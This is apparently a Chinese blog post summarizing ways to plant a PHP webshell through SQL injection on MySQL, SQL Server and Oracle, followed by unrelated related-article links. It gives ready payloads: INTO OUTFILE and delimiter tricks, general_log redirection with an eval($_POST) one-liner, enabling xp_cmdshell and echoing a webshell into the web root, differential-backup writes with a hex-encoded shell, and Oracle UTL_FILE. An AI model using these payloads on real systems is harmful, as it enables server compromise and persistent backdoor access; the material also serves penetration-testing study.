各类数据库写入Webhsell总结
1.MySQL写入WebShell
1.1写入条件
数据库的当前用户为ROOT或拥有FILE权限;
知道网站目录的绝对路径;
PHP的GPC参数为off状态;
MySQL中的secure_file_priv参数不能为NULL状态;
关于其中第4点,secure_file_priv参数是MySQL用来限制数据导入和导出操作的效果,如果这个参数被设为了一个目录名,那么MySQL会允许仅在这个目录中可以执行文件的导入和导出,例如LOAD DATA、SELECT。。。INTOOUTFILE、LOAD_FILE()等。如果这个参数为NULL,MySQL会禁止导入导出操作,但是这只是意味着通过outfile方法写入WebShell是无法成功的,但是通过导出日志的方法是可以的。
1.2使用outfile方法
outfile方法其实是Mysql提供的一个用来写入文件的函数,当我们可以控制写入的文件内容以及文件的保存路径时,我们就可以达到传入WebShell的目的。当我们可以使用union查询时,我们构造一个如下语句,就可以达到效果:
union select “这里是WebShell” into outfile “Web目录”;
当我们无法使用union时,还有一些其他方法也可以实现(利用分隔符写入):
?id=1 INTO OUTFILE '物理路径' lines terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' fields terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' columns terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' lines startingby (这里是WebShell)#
1.3使用日志写入webshell
检查当前MySQL下log日志是否开启(on,off),以及log的默认地址在哪里:
show variables like '%general%';
将日志开启
Set global general_log = on;
修改日志写入位置:
Set global general_log_file = 'D:\php\phpstudy_pro\WWW\sqli\Less-7\a.log';
写入木马:
select '<?php eval($_POST['key']);?>';
2.SqlServer写入WebShell
2.1写入条件
有相应的权限db_owner
获得Web目录的绝对路径
首先我们需要查找网站目录的绝对路径,查找绝对路径的方法有5种:
通过报错信息查找;
通过目录爆破猜解;
通过旁站的目录确定;
通过存储过程来搜索;
通过读取配置文件查找。
其中通过存储过程来搜索,SQLServer提供了两种方法:xp_cmdshell和xp_dirtree
execute master…xp_dirtree‘c:’;可以查出所有c:\下的文件、目录、子目录
查找网站目录的绝对路径
在真实环境中时,我们执行execute可能并不能得到回显信息,但我们可以在注入点处新建一张表,然后将xp_dirtree查询到的信息插入其中,再查询这张表即可得相应的绝对路径了。
2.2利用存储过程写入webshell
Xp_cmdshell是一个更为有效的查询绝对路径的函数,但是目前已经被SQLServer默认关闭了,但我们可以使用如下命令启用这个选项。
EXEC sp_configure ‘show advanced options’,1;//允许修改高级参数RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’,1;//打开xp_cmdshell扩展RECONFIGURE;–
打开xp_cmdshell扩展
开启了xp_cmsshell之后我们就可以执行CMD命令了,例如:
for /r c:%i in (1.php) do @echo %i就可以查询c:\目录下的所有符合1.php的文件,同理,在实际应用中,我们也是新建一个表,并将xp_cmdshell查询到的信息插入后,再次查询即可。
执行CMD命令查询
使用xp_cmdshell写入WebShell
我们可以通过xp_cmdshell执行系统CMD命令,例如我们可以使用CMD中的echo命令,将WebShell的代码写入到网站目录下,所以我们必须提前知道Web目录的绝对路径。
PAYLOAD:1’;execmaster..xp_cmdshell'echo^<?phpeval($_POST["pass"]);?^>>F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cmd.php';
2.3利用差异备份写入webshell
首先对某一数据库进行备份。
PAYLOAD:id = 1’;backup database 库名 to disk = 'F:\\PhpStudy20180211\\PHPTutorial\\WWW\\back.bak';
创建一个写webshell的表
PAYLOAD:id = 1’; create table cybk([cmd] [image]);#创建一个新表
其次将WebShell代码写入数据库中,
PAYLOAD:id=1’;insert into cybk[cmd] vaues(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);#将WebShell的代码转换成ASCII码
最后将此数据库进行差异备份,这样其中就会包含刚刚写入的WebShell代码
PAYLOAD:id=1’; backup database library todisk='F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cybk.php' WITHDIFFERENTIAL,FORMAT;
2.3利用log备份写入webshell
使用Log备份写入WebShell的要求是他的数据库已经备份过,而且要选择完整模式的恢复模式,相比较差异备份而言,使用Log备份文件会小的多。
首先需要将数据库设置为完整恢复模式,然后创建一个新表,将WebShell用Ascii编码后写入其中,然后将该数据库的日志信息导出到Web目录,即可。
3.Oracle写入WebShell
3.1写入条件
1.有DBA权限
2. 获得Web目录的绝对路径
3.2使用文件访问包方法写入Webshell
首先我们需要创建一个ORACLE的目录对象指向某一路径,在真实环境中需要指向Web目录下,
在这里我们将其指向/home/oracle这一路径下:
create or replace directory IST0_DIR as ‘/home/oracle’;
创建ORACLE目录对象
创建好后,我们需要对其进行一下授权过程,让其能够顺利的写入WebShell代码。
grant read, write on directory IST0_DIR tosystem;
然后写入文件,定义变量类型为utl_file.file_type,然后将WebShell的代码写入此文件中。
直接访问该文件,即可查看到其中的WebShell代码,如果这个文件是放置在Web目录下的,那么就可以被攻击者成功利用。
各类数据库写入Webhsell总结的更多相关文章
- Scrapy连接到各类数据库(SQLite,Mysql,Mongodb,Redis)
如何使用scrapy连接到(SQLite,Mysql,Mongodb,Redis)数据库,并把爬取的数据存储到相应的数据库中. 一.SQLite 1.修改pipelines.py文件加入如下代码 # ...
- saltstack自动化运维系列④之saltstack的命令返回结果mysql数据库写入
saltstack自动化运维系列④之saltstack的命令返回结果mysql数据库写入salt的返回值写入mysql数据库:可参考:https://docs.saltstack.com/en/lat ...
- Mysql数据库写入数据速度优化
Mysql数据库写入数据速度优化 1)innodb_flush_log_at_trx_commit 默认值为1:设置为0,可以提高写入速度. 值为0:提升写入速度,但是安全方面较差,mysql服务器 ...
- C# 数据库写入Sql Bulk索引损坏异常问题System.InvalidOperationException: DataTable internal index is corrupted: '4'
C# 数据库写入Sql Bulk索引损坏异常问题 System.InvalidOperationException: DataTable internal index is corrupted: '4 ...
- redis数据库写入数据时提示redis.exceptions.ResponseError错误
今天运行Django项目在redis数据库写入数据时提示如下错误: ERROR log 228 Internal Server Error: /image_code/cf9ccd75-d274-45c ...
- .NET 5/.NET Core使用EF Core 5连接MySQL数据库写入/读取数据示例教程
本文首发于<.NET 5/.NET Core使用EF Core 5(Entity Framework Core)连接MySQL数据库写入/读取数据示例教程> 前言 在.NET Core/. ...
- 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入
SQL手工注入 靶机:metasploitable(低) 1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...
- java多线程向数据库写入数据
任务: 从sqlserver中将一个表A(约16W条数据)导到mysql中对应的一个表B中. 思路:分段获取A表中的数据后,用多个线程同时向B表中写入. 关键代码 //将数据库中的数据条数分段 pub ...
- MySQL数据库写入图片并读取图片显示到JLabel上的详解
相较于Oracle,MySQL作为一个轻量级的开源的数据库,可谓是大大简化了我们的操作.这次我就来写一个关于数据库存入图片,获取图片的例子吧,也为了今后的复习使用.(我们一般采取存入路径的方式,而不是 ...
- C# 文件与二进制互转数据库写入读出
//这个方法是浏览文件对象 private void button1_Click(object sender, EventArgs e) { //用户打开文件浏览 using (OpenFileDia ...
随机推荐
- 21. Fluentd输出插件:rewrite_tag_filter用法详解
我们在做日志处理时,往往会从多个源服务器收集日志,然后在一个(或一组)中心服务器做日志聚合分析. 源服务器上的日志可能属于同一应用类型,也可能属于不同应用类型.我们可能需要在聚合服务器上对这些不同类型 ...
- 用golang开发系统软件的一些细节
用golang开发系统软件的一些细节 作者:张富春(ahfuzhang),转载时请注明作者和引用链接,谢谢! cnblogs博客 zhihu Github 公众号:一本正经的瞎扯 (本文的pdf版本) ...
- 【软件学习】怎么在Word里面设置MathType分隔符,使公式按照章节自动编号
前提 确保已安装好了MathType,且在设置为Word加载项 若没有安装或设置为加载项,请转至博客另一篇文章: [软件学习]如何下载安装Mathtype,并将其加载至Word 第一步 点击MathT ...
- 拉格朗日插值优化DP
拉格朗日插值优化DP 模拟赛出现神秘插值,太难啦!! 回忆拉格朗日插值是用来做什么的 对于一个多项式\(F(x)\),如果已知它的次数为\(m - 1\),且已知\(m\)个点值,那么可以得到 \[F ...
- JDBC数据库编程(java实训报告)
文章目录 一.实验要求: 二.实验环境: 三.实验内容: 1.建立数据库连接 2.查询数据 2.1 测试结果 3.添加数据 3.1.测试结果 4.删除数据 4.1.测试结果 5.修改数据 5.1 测试 ...
- 2021年9月28日,老是遇到一些非常奇葩的问题。就离谱、好好的一个web项目就莫名奇妙坏了。
起因是这样的:我前几天用idea2020编辑器,用ssm框架搭建了一个图书管理系统.只是将图书信息的增删改查实现,还有用户的注册和登录功能实现.本来想着今天将用户信息的删除和修改完善以下,本来是很简单 ...
- 44.drf缓存
DRF原有缓存 Django缓存.配置:https://www.cnblogs.com/Mickey-7/p/15792083.html Django为基于类的视图提供了一个 method_dec ...
- Sublime Text怎样自定义配色和主题
一.自定义配色方案 1 基础知识 配色方案[Color Scheme]文件保存在以下路径[ST安装目录]: "D:\Program Files\Sublime Text\Packages\C ...
- 论文笔记 - Fantastically Ordered Prompts and Where to Find Them: Overcoming Few-Shot Prompt Order Sensitivity
prompt 的影响因素 Motivation Prompt 中 Example 的排列顺序对模型性能有较大影响(即使已经校准参见好的情况下,选取不同的排列顺序依然会有很大的方差): 校准可以大幅度提 ...
- 怎么实现无痛刷新token
最近遇到这个需求,前端登录后,后端返回 access_token 和 refresh_token ,当token 过期时用旧的 refresh_token 去获取新的token,前端要不痛去刷新to ...